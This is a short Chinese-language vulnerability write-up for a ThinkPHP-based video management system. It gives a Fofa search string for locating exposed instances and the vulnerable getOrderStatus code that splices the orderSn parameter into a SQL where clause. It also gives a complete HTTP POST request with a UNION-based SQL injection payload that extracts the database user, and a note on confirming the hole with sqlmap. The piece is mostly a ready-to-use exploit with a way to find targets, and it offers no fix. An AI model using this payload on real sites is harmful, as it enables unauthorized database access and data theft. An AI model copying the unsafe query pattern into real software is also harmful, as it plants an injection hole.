Fofa:

product="魅思-视频管理系统"

框架:ThinkPHP 5,6

1 漏洞分析&复现

位于 /controller/Api.php 控制器中的getOrderStatus 方法POST传入，然后直接拼接了 orderSn 变量到 where 查询中，导致漏洞产生.

/**
* 查询订单支付状态
*/
public function getOrderStatus(Request $request)
{
  $orderSn = $request->post('orderSn/s', '');
  if (empty($orderSn)) die(json_encode(['statusCode' => 4003, 'message' => '缺少请求参数:orderSn不能为空']));
  $orderInfo = Db::name('order')->where("order_sn='$orderSn'")->find();
  if (!$orderInfo) die(json_encode(['statusCode' => 4005, 'message' => "can't find the orderSn"]));
  die(json_encode(['statusCode' => 0, 'message' => '', 'data' => ['orderStatus' => $orderInfo['status']]]));
}

Payload:

POST /api/getOrderStatus HTTP/1.1
Host: 127.0.0.1
Content-Length: 157
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
x-requested-with: XMLHttpRequest
Connection: close

orderSn=') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(IFNULL(CAST(CURRENT_USER() AS NCHAR),0x20)),NULL,NULL,NULL,NULL,NULL-- -

sqlmap验证

 

来源于星悦安全